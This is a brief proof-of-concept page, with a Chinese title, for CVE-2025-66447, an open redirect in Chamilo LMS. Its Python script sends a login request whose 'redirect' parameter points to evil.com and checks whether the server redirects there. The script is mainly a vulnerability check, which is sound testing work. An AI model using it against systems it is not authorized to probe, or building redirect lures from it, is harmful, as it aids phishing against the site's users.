CVE-2025-66447 Chamilo LMS开放重定向漏洞

# PoC for CVE-2025-66447 Chamilo LMS Open Redirect import requests def check_open_redirect(base_url): # The vulnerable endpoint is /login with a 'redirect' parameter target_url = f"{base_url}/login" # Malicious redirection target malicious_site = "https://evil.com" payload = { "redirect": malicious_site } try: # Send request, do not follow redirects to catch the 302 response response = requests.get(target_url, params=payload, allow_redirects=False, timeout=5) if response.status_code == 302 or response.status_code == 301: location = response.headers.get('Location') if malicious_site in location: print(f"[+] Vulnerability Detected!") print(f" Target: {target_url}") print(f" Redirects to: {location}") return True print("[-] Vulnerability not detected or patched.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with actual Chamilo instance check_open_redirect(target)